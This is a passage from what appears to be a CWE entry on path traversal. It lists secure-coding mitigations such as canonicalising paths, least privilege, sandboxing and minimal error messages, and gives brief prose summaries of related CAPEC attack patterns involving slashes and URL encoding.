For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.